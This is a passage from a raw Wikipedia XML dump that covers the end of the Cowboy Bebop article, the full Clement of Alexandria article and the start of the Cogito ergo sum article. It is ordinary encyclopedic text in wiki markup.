Jet is a 36-year-old former cop from [[Ganymede (moon)|Ganymede]] (a [[Jupiter|Jovian]] satellite) and acts as Spike's foil during the series. Where Spike acts lazy and uninterested, Jet is hard-working and a jack-of-all-trades. Jet was an investigator in the Inter Solar System Police (ISSP) for many years until he lost his arm in an [[investigation]] that went awry. His arm was replaced with a [[cybernetic]] limb, yet his loss of limb coupled with the general [[corruption]] of the police force prompted Jet to quit the ISSP in disgust and become a freelance bounty hunter. Jet also considers himself something of a [[renaissance man]]: he cultivates [[bonsai]] trees, cooks, enjoys jazz/blues music, especially [[Charlie Parker]]'s flavor, and even has interest in [[Johann Wolfgang von Goethe]]. As a character, Jet is the quintessential [[oyaji]] or &quot;dad&quot; even though he often wishes people would view him as a more brotherly figure (so as not to seem old).

Jet is skilled with handguns, as well as the use of the netgun. He is good with hand to hand combat as well. Unlike Spike, Jet tends to use more raw [[muscle]] than technique. He is also a great [[mechanic]] and [[pilot]]. Aside from the Bebop, Jet flies a smaller ship called &quot;Hammerhead.&quot; The Hammerhead appears to be a modified salvage-craft that uses a mechanical arm equipped with a [[harpoon]] as its main weapon, a metaphor for his own mechanical arm. Both the Hammerhead and the Bebop are able to land on [[water]].

During the series, it is revealed that Jet once lived with a woman named Alisa, who left him because he was too controlling. Later they meet up again when Alisa's new [[boyfriend]] Rynt is wanted for murder. Jet then ends up in a situation somewhat similar to that of Vicious, where he must hunt down a woman who broke his heart, and her lover.

In a later episode, another Vicious/Jet parallel is set up when Jet finds out that it was his old partner Fad who betrayed him (though in Jet's case, there was no love affair involved). Fad arranged for Jet's death in a setup, but he survived with only a missing arm and a [[scar]] on his face.

Jet is voiced by [[Unsho Ishizuka]] in the Japanese version and [[Beau Billingslea]] (as John Billingslea) in the English version.

=== Faye Valentine ===
[[Image:FayeValentine001.jpg|right|thumb|Faye Valentine]]
By all appearances, Faye is a twenty-three year old woman in 2071. However, she was actually born in 1994 and was [[cryopreservation|cryogenically frozen]] after the gate accident. Faye is confident, audacious, independent, and somewhat self-centered. She is also quite lazy, but takes time to care for her appearance. She enjoys gambling, and often loses a great deal of money doing so. Faye is a very competent bounty hunter, being skilled in flying and both hand-to-hand and [[firearm]] combat. 

In truth, Faye's indomitable exterior hides a fragile interior. Faye awoke from her cryogenic sleep with total amnesia in a mysterious world that she didn't understand, surrounded by people who were all-too-willing to take advantage of her naïveté, contributing to the hardening of her personality. The surname &quot;Valentine&quot; was merely a name given to her by the doctor that awoke her; the circumstances of her accident, her previous life, and even her real name all remain a mystery, and are only gradually revealed as the series progresses. It has been hinted that she came from [[Singapore]] on Earth, and was the daughter of a very wealthy family, as the city's famous [[Merlion]] Statue features prominently in scenes of her childhood, and that memories and a film from her childhood showed her living in a large mansion.

Faye is voiced by [[Megumi Hayashibara]] in the Japanese version and [[Wendee Lee]] in the English version.

=== Edward Wong Hau Pepelu Tivrusky IV ===
[[Image:Ed001.jpg|right|thumb|Edward Wong Hau Pepelu Tivrusky IV]]
The assumed (read &quot;self-given&quot;) name of an elite netdiver from Earth, Ed is a very strange young girl assumed to be about 13 years old. Ed could be considered a &quot;free spirit&quot;; she is fond of silly exclamations and childish rhymes, easily distracted, and the show's primary source of physical humor. Over the course of the show she rarely walks anywhere, preferring to run, crawl, flip, roll, or even just saunter. She always refers to herself in the third person. Not much is known about her origins, only that she spent some of her earlier childhood in an orphanage. (A man named Appledelhi Siniz Hesap Lutfen eventually claims to be her father and calls her Françoise, suggesting she might be [[Turkic peoples|Turkish]], as this man's name means &quot;check, please&quot; in [[Turkish language|Turkish]].) Ed's primary use to the Bebop crew is as a [[hacker]]; she is widely known to be a genius behind a computer (and possibly unparalleled, save for Ein the dog). Ed has a strong rapport with Jet, who acts as a surrogate father, and Faye, who acts as something of a big sister (much to Faye's chagrin). Ed also seems to be the only person who can understand Ein. In the end of the series, at Faye's prompting, she leaves the Bebop to (presumably) look for her dad, taking Ein who chose to leave with Ed, rather than remain on the Bebop with the others.

Ed is voiced by [[Aoi Tada]] in the Japanese version and [[Melissa Fahn]] in the English version.

=== Ein ===
[[Image:Ein001.jpg|right|thumb|The dog Ein]]
Ein is a [[Pembroke Welsh Corgi]] brought aboard the ''Bebop'' by Spike after a failed attempt to capture a bounty. Ein is a &quot;data dog&quot;: while the televised series never explains what this means, the manga shows Ed accessing data stored in Ein's brain via a [[virtual reality]]-type interface with which she has a conversation with a human proprietor. It is obvious that Ein is abnormally intelligent, as he is able to answer the telephone, use the Internet, and generally do a number of other things that an average canine shouldn't be able to do, but he never talks in English during the show. He does, however, speak during one of the previews. He also 'speaks' to a cow (subtitled bark of 'Thanks', to which the cow has a subtitled moo back of 'No Problem') in episode 17, &quot;Mushroom Samba&quot;. Ein is apparently also able to hack computers via a brain wave interface (demonstrated in episode 23, &quot;Brain Scratch&quot;), further indication of his abnormal capabilities. It is likely that Ed is the only crew member with any idea of Ein's capabilities, as the other crew members are quick to dismiss Ein, and never seem to acknowledge him as more than a pet. Ein initially takes a shine to Jet, but when Ed joins the crew, he comes around to her as well. Frequently the two trade roles, with Ein expressing very human sentiments via facial expression and Ed regressing to a feral state. He went with Ed after she left the crew, probably because of his attachment to her. His name is a pun on the Japanese word for &quot;dog&quot; (''inu'') but is also German for &quot;one&quot; (possibly because he is the only dog featured in the show, or because he is the first new character to be added to the series). 'Ein' may also be short for 'Einstein', after [[Albert Einstein]], because of the extraordinary intelligence he expresses. It should also be noted, however, that &quot;ein&quot; is also Japanese for the [[perineum]], but this epithet is highly doubtful, as the [[German language|German]] pronunciation (which in Japanese would technically be phoeneticized as ''ain'') is used.

=== Vicious ===
[[Image:Vicious001.jpg|right|thumb|Vicious]]
Vicious is a veteran of the war on Titan, and was Spike's partner in the Red Dragon crime syndicate until they fell into conflict over Julia. Vicious lives up to his name: he is ruthless, bloodthirsty, cunning and ambitious, willing to do anything in order to secure a position of power. He is often referred to or depicted as a poisonous snake. His weapon of choice is not a firearm, but a [[katana]] which he uses quite skillfully, even during the war on [[Titan (moon)|Titan]]. The blood feud between Spike and Vicious is an ongoing storyline throughout ''Cowboy Bebop''. Vicious believes that he is the only one who can kill, or &quot;awaken&quot; Spike, as Spike is the only one who can do the same for Vicious. 

Vicious is voiced by [[Norio Wakamoto]] in the Japanese version and [[Skip Stellrecht]] (as Henry Douglas Grey) in the English version.

=== Julia ===
[[Image:CB-Julia001.jpg|right|thumb|Julia]]
Julia is a beautiful and mysterious woman from both Spike and Vicious' pasts. A love triangle among the three caused Spike to leave the syndicate. Spike had wanted to take her with him when he left the syndicate, but she was blackmailed by Vicious to stay. Julia herself only appears in flashbacks until the final two episodes of the series. Julia acts as a stark contrast to the world around her — her blonde hair and her bright red umbrella and automobile standing out in the otherwise drab environs that she inhabits. She really does love Spike, but doesn't want to spend her life on the run from Vicious.

Julia is voiced by [[Gara Takashima]] in the Japanese version and [[Mary Elizabeth McGlynn]] (as Melissa Williamson) in the English version. McGlynn also directs the voices in the English version, also as Melissa Williamson.

=== Punch and Judy ===
Punch and Judy are the characters of the TV show ''Big Shot''.  The show provides information on various bountyheads, but is often unreliable. The ''Bebop'' crew often has the show playing in the background, but seldom pays close attention (they usually get their information from close contacts). Punch and Judy play the &quot;cowboy&quot; persona in a characteristic, &quot;over the top&quot; fashion. Punch adopts a mid-western drawl mixed with a [[Mexico|Mexican]] accent (both faked), and uses random old-West sayings. Judy plays the [[stereotype|stereotypical]] [[dumb blonde]], and always appears in an open bolero jacket with nothing underneath. ''Big Shot'' gets cancelled towards the end of the series, and Punch (lacking accent and costume) makes a brief cameo revealing his and Judy's fates.

Punch and Judy are voiced by [[Tsutomu Tareki]] and [[Miki Nagasawa]] in the Japanese version, respectively, and [[George C. Cole]] and [[Lia Sargent]] in the English version, respectively.

The character names and the loose concept of ''Big Shot'' are most likely a tongue-in-cheek reference to the British puppet-show ''[[Punch and Judy]]''.

===The Three Old Men===
Throughout the series and the movie three old men make frequent appearances, as speaking characters, or in the background during scenes. They make various claims about what they did before becoming oldtimers, including bounty-hunting, building the stargates, farming, piloting planes in a war, and crop-dusting. They seem on speaking terms with many supporting characters, and though they run into the main characters often there is not much attention paid to them (or even that the main characters have seen them before). According to the movie credits, they are called Antonio, Carlos, and Jobim (a reference to the Brazilian musician [[Tom Jobim]]). This is a common concept in some anime, also occuring in [[Love Hina]].

==Sessions (episodes)==
{{details|List of Cowboy Bebop media#Session (episode) list}}
The ''Cowboy Bebop'' series consists of 26 episodes, referred to as &quot;sessions.&quot; Also included in the continuity is the ''Cowboy Bebop'' movie, placed between sessions 22 and 23. Many episodes are named explicitly for famous songs — &quot;[[Honky Tonk Woman]],&quot; &quot;[[Heavy Metal Queen]],&quot; &quot;[[Jamming with Edward]],&quot; &quot;[[Sympathy for the Devil]],&quot; &quot;[[Bohemian Rhapsody]],&quot; &quot;[[My Funny Valentine]],&quot; &quot;[[Speak Like a Child]],&quot; &quot;[[Wild Horses]],&quot; &quot;[[Hard Luck Woman]],&quot; and &quot;[[The Real Folk Blues]],&quot; the show's ending theme. Titles which do not name a specific song generally combine some plot element of the episode with a broader musical style — &quot;Jupiter Jazz Pt. 1&quot;, &quot;Jupiter Jazz Pt. 2&quot;, &quot;Mushroom Samba,&quot; &quot;Cowboy Funk,&quot; and &quot;Waltz for Venus,&quot; for example.

The ''Cowboy Bebop'' movie carries the subtitle ''[[Knockin' on Heaven's Door (song)|Knockin' on Heaven's Door]]''. However, due to a trademark dispute over the title, Columbia Tristar released it in America with the shortened title ''Cowboy Bebop: The Movie''.

The title of session 2, &quot;Stray Dog Strut&quot;, references the song &quot;Stray Cat Strut.&quot;
The title refers to Ein's daring escape of the lab and running throughout the city, Spike in pursuit.

== Soundtrack ==
{{main|The Seatbelts}}

One of the most notable elements of ''Cowboy Bebop'' is its music, mostly performed by [[Yoko Kanno]] and her band, [[The Seatbelts]]. It would not be an exaggeration to say that the jazz-and-blues-themed soundtrack defines the series as much as the characters, writing, or animation; many fans find the soundtracks enjoyable to listen to as albums on their own merits. 

Besides the three original soundtracks (''Cowboy Bebop'', ''No Disc'' and ''Blue'') there is a mini-album (''Vitaminless'') and a greatest-hits collection (''TANK! The! Best''). The remix compilation, ''Music for Freelance'', purports to be a broadcast from the [[pirate radio]] station [[Radio Free Mars]]. Finally, there is a CD box set, which includes a variety of tracks from the first original soundtracks, as well as rare/new versions of certain songs and dialogue tracks from the Japanese version of the show.

[[Yoko Kanno]] and [[The Seatbelts]] team with [[Tim Jensen]] for lyrics on songs:
*&quot;[[Ask DNA]]&quot; sung by [[Raj Ramayya]]
*&quot;Gotta knock a little harder&quot; sung by [[Mai Yamane]]
*&quot;Call me, call me&quot; sung by [[The Seatbelts|Steve Conte]]

== Staff ==
The series was created by &quot;[[Hajime Yatate]],&quot; a collective pseudonym for members of the staff at [[Sunrise (Japanese company)|Sunrise]], the [[animation studio]] that also developed ''[[Mobile Suit Gundam]]'', ''[[Big O (anime)|Big O]]'', ''[[Outlaw Star]]'' and ''[[Vision of Escaflowne]]''. ''Cowboy Bebop'' was directed by [[Shinichiro Watanabe]], who also directed ''[[Macross Plus]]'', ''[[Samurai Champloo]]'' and the two short films ''[[A Detective Story]]'' and ''[[Kid's Story]]'' from the ''[[Animatrix]]''. The music of ''Cowboy Bebop'' was all composed by [[Yoko Kanno]], who also composed music for ''[[Earth Girl Arjuna]]'', ''[[Macross Plus]]'', ''[[Vision of Escaflowne]]'', ''[[Ghost in the Shell: Stand Alone Complex]]'' and ''[[Wolf's Rain]]''.

The ''Cowboy Bebop'' movie was animated by [[Studio BONES]], a new studio created by many former employees of Sunrise, and was one of their first projects.  They have since developed other popular series like ''[[RahXephon]]'', ''[[Wolf's Rain]]'', and ''[[Fullmetal Alchemist]]''.

== Influences ==
''Cowboy Bebop''&lt;nowiki&gt;'&lt;/nowiki&gt;s influences are many and varied.
* ''Cowboy Bebop'' is heavily influenced by American culture: from cinema, including mobster movies, [[film noir]], and [[western movie|western]]s, to the jazz music out of the [[Harlem]] nightclubs of the 1940s. It is referred to as Space Jazz by its creators - as opposed to [[Space Opera]], although it has strong similarities to the character-centered action-packed genre - probably for its lighter side, as it is more humorous than the standard Space Opera, often poking fun at the genre.  

* ''Cowboy Bebop'' has marks of [[Bruce Lee]] and his martial arts movies. Spike's fighting style ([[Jeet Kune Do]]) is borrowed directly from [[Bruce Lee]]. Also, the name of the bounty in the second episode is Abdul Hakim, borrowed from the Bruce Lee film ''[[Game of Death]]'' that co-starred [[Kareem Abdul-Jabbar]] who played a character called &quot;Hakim.&quot; On two other separate occasions, Spike also mentions ''[[Enter the Dragon]]'' and ''[[Way of the Dragon]]'', two more Bruce Lee movies.

* Spike's lanky and laid-back character was heavily influenced by the charismatic thief Lupin the 3rd, from the anime and manga ''[[Lupin III]]'', and they have similar characteristics. Likewise, Jet was influenced by Lupin's partner Jigen. Tributes to Lupin are peppered throughout the show, including characters wearing clothing worn by the cast in the ''Lupin'' series, and some of Lupin's cars, especially the famous yellow [[Fiat 500]] from the movie ''[[The Castle of Cagliostro]]'', appearing in scenes or in the background.

* Spike's character had mainly been attributed by creators to the Japanese actor [[Yusaku Matsuda]] from the Japanese TV series and movie entitled ''[[Tantei Monogatari]]''. It is from Matsuda that Spike is credited for receiving his unique hair style and other physical features.

* As suggested by the series' title, [[Western]]s play a major influence on ''Cowboy Bebop''. Like most Westerns, the main characters are nomadic, self reliant individuals with personal moral codes, the weapon of choice for most dramatic scenes is a handgun, and episodes often revolve around codes of honor and themes of morality. There are also more explicit western influences such as Spike Spiegel's character's influence from the [[Man With No Name]], a cowboy bounty hunter played by [[Clint Eastwood]] in the [[Dollars Trilogy]] by [[Sergio Leone]], and one of the funniest antagonists in anime, Cowboy Andy, the naive poseur cowboy/bounty hunter with steed who contrasts with Spike's darker antihero cowboy.

* According to mechanical designer Kimitoshi Yamane's notes, Spike's ''Swordfish II'' MONO racer was inspired by Britain's [[Fairey Swordfish]] torpedo-bomber of World War II. The ''Cowboy Bebop'' movie includes a cameo of the Fairey Swordfish along with a dialogue reference to the sinking of the Bismarck battleship (Fairey Swordfish bombers were crucial to the sinking of the Bismarck). There is also fan speculation that the ''Swordfish II'' is based on the ''Swordfish'', an experimental airplane in [[Edgar P. Jacobs]]' comic series ''[[Blake and Mortimer]]'', although the creators have not stated this.

* The eponymous character from the episode &quot;Pierrot Le Fou&quot; was influenced by [[Alan Moore]]'s ''[[V for Vendetta]]''. The villain of the episode is a creation of a government laboratory project that involves physical and mental torture and which ultimately goes horrifically wrong, producing an uncontrollable and unmatchable killer who slays the staff working on him and escapes. Although this character shares physical appearance (itself based on [[Great Britain|British]] revolutionary [[Guy Fawkes]]) and dominating combat competence with the protagonist of ''V for Vendetta'', he has neither his mental prowess nor his political motivation as a basis for his homicidal activities. The episode's name is also a reference to the [[Jean-Luc Godard]] crime film ''[[Pierrot le fou]]'' (1965), in which the assassin Tompu is brainwashed. Many fans thought that the episode was a tribute to [[Joker (comics)|The Joker]], [[Penguin (comics)|The Penguin]], and ''[[Batman: The Animated Series]]''.

* Many of the stories of ''Cowboy Bebop'' and even cinematic stylings were lifted from other movies.  These include influences from or homages to ''[[2001: A Space Odyssey (film)|2001: A Space Odyssey]]'', ''[[The Crow]]'', [[John Woo]], ''[[Alien (film)|Alien]]'', [[blaxploitation]] movies, ''[[Star Trek]]'','' [[Desperado]]'', and ''[[Dirty Harry]]''.

* In the episode &quot;Ganymede Elegy&quot;, Jet's past relationship with Alisa is similar to that of the husband's and wife's from [[Henrik Ibsen]]'s play ''The Doll House''. Alisa's lover even borrows money from a loan shark just like the wife from &quot;The Doll's House&quot;.

* Allusions to external works are often made to hint at some of the darker themes. In part one of episode 26, Jet makes reference to the [[Ernest Hemingway]] classic ''[[The Snows of Kilimanjaro]]''. Spike also recites the Japanese tale ''Hyakumankai-kai Ikita Neko'' (&quot;The cat that lived a million times&quot;) in the final episode as an explanation of his life, although he claims to hate the story because he hates cats.

== Controversial episodes ==
* Shortly after the terrorist attacks on [[September 11, 2001 attacks|9/11]], [[Cartoon Network]] decided not to air episode 6, &quot;Sympathy for the Devil&quot; (due to the depiction of a gun wielding 'minor' who also gets shot in the wake of the [[Columbine High School massacre]]), episode 8, &quot;Waltz for Venus&quot; (which features criminals hijacking an airplane), and episode 22, &quot;Cowboy Funk&quot; (which features a terrorist who blows up tall buildings, including one that looks remarkably similar to the [[World Trade Center]]). Eventually, the episodes were put back into the regular rotation. The terror attacks and subsequent [[anthrax disease|anthrax]] scare were also credited with delaying the release of the ''Cowboy Bebop'' movie in the United States by [[Sony Pictures]], which featured a terrorist who used biological agents. (Oddly enough, the 9/11 attacks happened exactly one day after the Japanese release of the film.)

* Following the [[Space Shuttle Columbia disaster]] in 2003, Cartoon Network decided not to air episode 19, &quot;Wild Horses&quot;, in which the [[Space Shuttle Columbia|Columbia]] shuttle is featured as a prominent plot point in the story. The episode had been shown in previous airings of the series, and has since been put back into the rotation.

== Content ratings ==
The certifications for Cowboy Bebop are '''TV-14''' in the USA, '''M''' and '''MA''' in Australia, '''PG''' in Singapore, '''13+''' and '''G''' in Quebec, Canada (different episodes on video received different ratings), and '''12+''','''15+''', and '''PG''' in Britain (different episodes received different ratings).

Cowboy Bebop contains adult language, violence, and brief nudity. The language (anything past ''damn'', ''hell'' and ''bastard'') and nudity has been edited out of the English translation aired on Cartoon Network, but not on [[CNX]]. It is retained in the DVD releases.

== Licensing, authors, and publishers ==
*''Cowboy Bebop'' is licensed by [[Bandai]] in the United States.
*The following [[manga]] series were published by [[Kadokawa Shoten]] in Japanese and [[TOKYOPOP]] in English:
**''Cowboy Bebop'' by [[Hajime Yatate]] and [[Yutaka Nanten]]
**''Cowboy Bebop Shooting Star'' by [[Cain Kuga]]
*[[Bandai]] plans to release the Cowboy Bebop game for [[PlayStation 2]] in the United States in March 2006. The game is already released in Japan.

== See also ==
* ''[[Cowboy Bebop: The Movie]]''
* [[List of Cowboy Bebop media|Soundtracks and manga releases]]
* [[Cowboy Bebop (PS2)|Cowboy Bebop PlayStation 2 Game]]
* [[Red Eye (drug)]]
* [[Space Western]]

== External links ==
{{wikiquote}}
* [http://www.cowboybebop.org/ Mirror of ''Cowboy Bebop'' official site]
* [http://www.sonypictures.com/cthe/cowboybebop/ Official U.S. ''Cowboy Bebop: The Movie'' web site]
* {{imdb title|id=0213338|title=Cowboy Bebop}}
* [http://www.animenewsnetwork.com/encyclopedia/anime.php?id=13 ''Cowboy Bebop''] at the Anime News Network Encyclopedia
* [http://www.adultswim.com/shows/cowboybebop/index.html Adult Swim - Cowboy Bebop]
* [http://www.big-big-truck.com/bebop/ Cowboy Bebop - Somewhere Down The Crazy River]
* [http://cb-sc.com Cowboy Bebop: Space Cowboy]- Bebop Wiki and Open Source [[MUD]]
* [http://rfblues.aaanime.net/ Cowboy Bebop: The Real Folk Blues] A comprehensive fan site.
* [http://www.jazzmess.com/ The Jazz Messengers] A fan site including video and audio from the series.
* [http://bebop.ru/ Bebop.Ru] Everything about Cowboy Bebop in Russian.

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[[Category:Cowboy Bebop]]
[[Category:Fictional bounty hunters]]
[[Category:Science fiction Westerns]]
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  </page>
  <page>
    <title>Clement of Alexandria</title>
    <id>7342</id>
    <revision>
      <id>41564625</id>
      <timestamp>2006-02-28T04:30:51Z</timestamp>
      <contributor>
        <username>Haiduc</username>
        <id>80885</id>
      </contributor>
      <comment>/* Literary work */ expanded on his message and balanced the enthusiastic presentation - please do not make this sound like a church document</comment>
      <text xml:space="preserve">[[Image:ClemensVonAlexandrien.jpg|right|240px]]
'''Clement of Alexandria''' (Titus Flavius Clemens), was the first member of the [[Christianity|Church]] of [[Alexandria]] to be more than a name, and one of its most distinguished teachers. He was born about the middle of the [[2nd century]], and died between [[211]] and [[216]].

==Life==
He was not born in [[Egypt]] (''Stromata'', i. 1). [[Athens]] is named as his birthplace by the sixth-century [[Epiphanius Scholasticus]], and this is supported by the classical quality of his Greek. His parents seem to have been wealthy [[paganism|pagans]] of some social standing. The thoroughness of his education is shown by his constant quotation of the [[Greek literature|Greek]] poets and philosophers. He travelled in [[Greece]], [[Italy]], [[Palestine (region)|Palestine]], and finally Egypt. He became the colleague of [[Pantaenus]], the head of the catechetical school of [[Alexandria]], and finally succeeded him in the direction of the school. One of his most popular pupils was [[Origen]]. During the persecution of [[Septimius Severus]] (202 or 203) he sought refuge with Alexander, then bishop [possibly of Flaviada] in [[Cappadocia]], afterward of [[Jerusalem]], from whom he brought a letter to [[Antioch]] in 211.

==Literary work==
The trilogy into which Clement's principal remains are connected by their purpose and mode of
treatment is composed of the ''[[Protrepticus]]'' (&quot;Exhortation to the Greeks&quot;), the ''Paedagogus'' (&quot;Instructor&quot;), and the ''Stromata'' (&quot;Miscellanies&quot;). Overbeck calls it the boldest literary undertaking in the history of the Church, since in it Clement for the first time attempted to set forth Christianity for the faithful in the traditional forms of secular literature. The ''Protrepticus'' forms an introduction inviting the reader to listen, not to the mythical legends of the gods, but to the &quot;new song&quot; of the [[Logos]], the beginning of all things and creator of the world. He denounces what he claims to be the folly of idolatry and the pagan mysteries, the shamefulness of the [[Pederasty in ancient Greece|pederastic]] practices of the Greeks, and the horrors of pagan sacrifice, and argues that the Greek philosophers and poets only guessed at the truth, while the prophets set forth a direct way to [[salvation]]; and now the divine Logos speaks in his own person, to awaken all that is good in the soul of man and to lead it to immortality. Having thus laid a foundation in the knowledge of divine truth, he goes on in the ''Paedagogus'' to develop a Christian ethic. His design does not prevent him from taking a large part of his material from the [[Stoicism|Stoic]] [[Musonius Rufus]], the master of [[Epictetus]]; but for Clement the real instructor is the incarnate Logos.

The first book deals with the religious basis of Christian morality, the second and third with the individual cases of conduct. As with Epictetus, true virtue shows itself with him in its external evidences by a natural, simple, and moderate way of living. The ''Stromata'' goes further and aims at the perfection of the Christian life by initiation into complete knowledge. The first of these works is addressed to the unconverted, the second to the new Christian, and the third appeals to the mature believer. It attempts, on the basis of Scripture and tradition, to give such an account of the Christian faith as shall answer all the demands of learned men, and conduct the student into the innermost realities of his belief. Clement entitled this work ''Stromateis'', &quot;patchwork,&quot; because it dealt with such a variety of matters.  He intended to make but one book of this; at least seven grew out of it, without his having treated all the subjects proposed. The absence of certain things definitely promised has led scholars to ask whether he wrote an eighth book, as would appear from [[Eusebius of Caesarea|Eusebius]] (VI. xiii. 1) and the ''Florilegia'', and various attempts have been made to identify with it short or fragmentary treatises appearing among his remains. In any case the &quot;excerpts&quot; and &quot;selections&quot; which, with part of a treatise on logical method, are designated as the eighth book in the single ([[11th century]]) manuscript of the ''Stromata'', are not parts of the ''Hypotyposes'' which Clement is known to have written. This work was a brief commentary on selected passages covering the whole Bible, as is shown in the fragments preserved by Oecumenius and in the Latin version of the commentary on the Catholic Epistles made at the instance of [[Cassiodorus]]. Besides the great trilogy, the only complete work preserved is the treatise &quot;Who is the Rich Man that Shall Be Saved?&quot; based on [[Gospel of Mark|Mark]] 10:17-31, and laying down the principle that not the possession of riches but their misuse is to be condemned. There are extant a few fragments of the treatise on the [[Passover]], against the [[Quartodecimanism|Quartodecimanism]] position of [[Melito of Sardis]], and only a single passage from the &quot;Ecclesiastical Canon&quot; against the Judaizers. Several other works are known only by their titles.

==His significance for the Church==
The significance of Clement in the history of the development of doctrine is, according to [[Adolf Harnack|Harnack]], that he knew how to replace the apologetic method by the constructive or systematic, to turn the simple church tradition into a scientific [[dogma]]tic theology. It is a marked characteristic of his that he sees only superficial and transient disagreement where others find a fundamental opposition. He is able to reconcile, or even to fuse, differing views to an extent which makes it almost impossible to attribute to him a definite individual system. He is admittedly an eclectic (''Stromata'', i. 37). This attitude determines especially his treatment of non-Christian philosophy. Although the theory of a diabolical origin for it is not unknown to him, and although he shows exhaustively that the philosophers owe a large part of their knowledge to the writings of the [[Old Testament]], yet he seems to express his own personal conviction when he describes philosophy as a direct operation of the divine Logos, working through it as well as through the law and his direct revelation in the Gospel to communicate the truth to men. It is true that the knowledge of the philosophers was elementary, fragmentary, and incapable of imparting true righteousness; and it was far surpassed by the revelation given through the law and the prophets, as that again was still further surpassed by the direct revelation of the incarnate Logos; but this idea of relative inferiority does not prevent him from showing that his whole mental attitude is determined and dominated by the philosophical tradition.

Not all later ecclesiastics have been happy with his views. While his feast day is traditionally [[December 4]], [[Pope Benedict XIV]] removed Clement from the Roman martyrology in [[1748]].

Thus he emphasizes the permanent importance of philosophy for the fulness of Christian knowledge, explains with special predilection the relation between knowledge and faith, and
sharply criticizes those who are unwilling to make any use of philosophy. He pronounces definitely against the sophists and against the hedonism of the school of [[Epicurus]]. Although he generally expresses himself unfavorably in regard to the [[Stoicism|Stoic philosophy]], he really pays marked deference to that mixture of Stoicism and [[Neo-Platonism|Platonism]] which characterized the religious and ethical thought of the educated classes in his day. This explains the value set by Clement on ''[[gnosis]]''. To be sure, he constantly opposes the concept of ''gnosis'' as defined by the [[Gnosticism|Gnostics]]. Faith is the foundation of all ''gnosis'', and both are given by [[Christ]]. As faith involves a comprehensive knowledge of the essentials, knowledge allows the believer to penetrate deeply into the understanding of what he believes; and this is the making perfect, the completion, of faith. In order to attain this kind of faith, the &quot;faith of knowledge,&quot; which is so much higher than the mere &quot;faith of conjecture,&quot; or simple reception of a truth on authority, philosophy is permanently necessary. In fact, Christianity is the true philosophy, and the perfect Christian the true Gnostic -- but again only the &quot;Gnostic according to the canon of the Church &quot; has this distinction. Also, he rejects the Gnostic distinction of &quot;psychic&quot; and &quot;pneumatic&quot; men; all are alike destined to perfection if they will embrace it.

From philosophy he takes his conception of the Logos, the principle of Christian gnosis, through whom alone God's relation to the world and his revelation is maintained. God he considers transcendentally as unqualified Being, who can not be defined in too abstract a way. Though his goodness operated in the creation of the world, yet immutability, self sufficiency, incapability of suffering are the characteristic notes of the divine essence. Though the Logos is most closely one with the Father, whose powers he resumes in himself, yet to Clement both the Son and the Spirit are &quot;first-born powers and first created&quot;; they form the highest stages in the scale of intelligent being, and Clement distinguishes the Son-Logos from the Logos who is immutably immanent in God, and thus gives a foundation to the charge of Photius that he &quot;degraded the Son to the rank of a creature.&quot; Separate from the world as the principle of creation, he is yet in it as its guiding principle. Thus a natural life is a life according to the will of the Logos. The Incarnation, in spite of Clement's rejection of the Gnostic [[Docetism]], has with him a decidedly Docetic character. The body of Christ was not subject to human needs. He is the good Physician; the medicine which he offers is the communication of saving ''gnosis'', leading men from paganism to faith and from faith to the higher state of knowledge. This true philosophy includes within itself the freedom from sin and the attainment of virtue. As all sin has its root in ignorance, so the knowledge of God and of goodness is followed by well-doing. Against the Gnostics Clement emphasizes the freedom of all to do good.

Clement lays great stress on the fulfilment of moral obligations. In his ethical expressions he is influenced strongly by Plato and the Stoics, from whom he borrows much of his terminology. He praises [[Plato]] for setting forth the greatest possible likeness to God as the aim of life; and his portrait of the perfect Gnostic closely resembles that of the wise man as drawn by the Stoics. Hence he counsels his readers to shake off the chains of the flesh as far as possible, to live already as if out of the body, and thus to rise above earthly things. He is a true Greek in the value which he sets on moderation; but his highest ideal of conduct remains the mortification of all affections which may in any way disturb the soul in its career. As Harnack says, the lofty ethical-religious ideal of the attainment of man's perfection in union with God, which Greek philosophy from Plato down had worked out, and to which it had
subordinated all scientific worldly knowledge, is taken over by Clement, deepened in meaning, and connected not only with Christ, but with ecclesiastical tradition.

The way, however, to this union with God is for Clement only the Church's way. The communication of the gnosis is bound up with holy orders, which give the divine light and life. The simple faith of the baptized Christian contains all the essentials of the highest knowledge; by the Eucharist the believer is united with the Logos and the Spirit, and made partaker of incorruptibility. Though he lays down at starting a purely spiritual conception of the Church, later the exigencies of his controversy with the Gnostics make him lay more stress on the visible church. As to his use of Scripture, the extraordinary breadth of his reading and manifold variety of his quotations from the most diverse authors make it very difficult to determine exactly what was received as canonical by the Alexandrian Church of that period. Though he uses the Apocryphal Gospels, our four alone have supreme authority for him. For the other [[New Testament]] writings he seems not to have had as definite a line of demarcation; but whatever he recognized as of apostolic origin had for him an authority distinct from, and higher than, that of all other ecclesiastical tradition.

An excerpt from a letter attributed to Clement of Alexandria is the only evidence we have for the existence of a possible ''[[Secret Gospel of Mark]]''.

----
This article includes text from the Schaff-Herzog ''Encyclopedia of Religion''

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[[cs:Kléméns Alexandrijský]]
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[[fi:Klemens Aleksandrialainen]]
[[fr:Clément d'Alexandrie]]
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[[hu:Alexandriai Kelemen]]
[[nl:Clemens van Alexandrië]]
[[pl:Klemens Aleksandryjski]]
[[pt:Clemente de Alexandria]]
[[ru:Климент Александрийский]]
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[[sv:Clemens av Alexandria]]</text>
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  </page>
  <page>
    <title>Cogito ergo sum</title>
    <id>7344</id>
    <revision>
      <id>41959022</id>
      <timestamp>2006-03-02T22:03:41Z</timestamp>
      <contributor>
        <ip>70.89.179.189</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Descartesweb.jpg|right|thumb|René Descartes ([[1596]]&amp;ndash;[[1650]])]]
&quot;'''Cogito, ergo sum'''&quot; ([[Latin language|Latin]]: &quot;I am thinking, therefore I exist&quot;, or ''traditionally'' &quot;I think, therefore I am&quot;) is a [[philosophy|philosophical]] statement by [[René Descartes]], which became a foundational element of [[Western culture|Western]] [[Continental rationalism|rationalism]].
&quot;''Cogito ergo sum''&quot; is a translation of Descartes' original [[French language|French]] statement: &quot;''Je pense, donc je suis''&quot;, which occurs in his ''[[Discourse on Method]]'' (1637).

Although the idea expressed in &quot;''cogito ergo sum''&quot; is widely attributed to Descartes, many  predecessors offer similar arguments &amp;mdash;particularly [[Augustine of Hippo]] in ''[[The City of God|De Civitate Dei]]'' (books XI, 26), who also anticipates modern refutations of the concept. (See ''[[Principles of Philosophy]]'', §7: &quot;''Ac proinde haec cognitio, ego cogito, ergo sum, est omnium prima et certissima etc.''&quot;).

==Introduction==
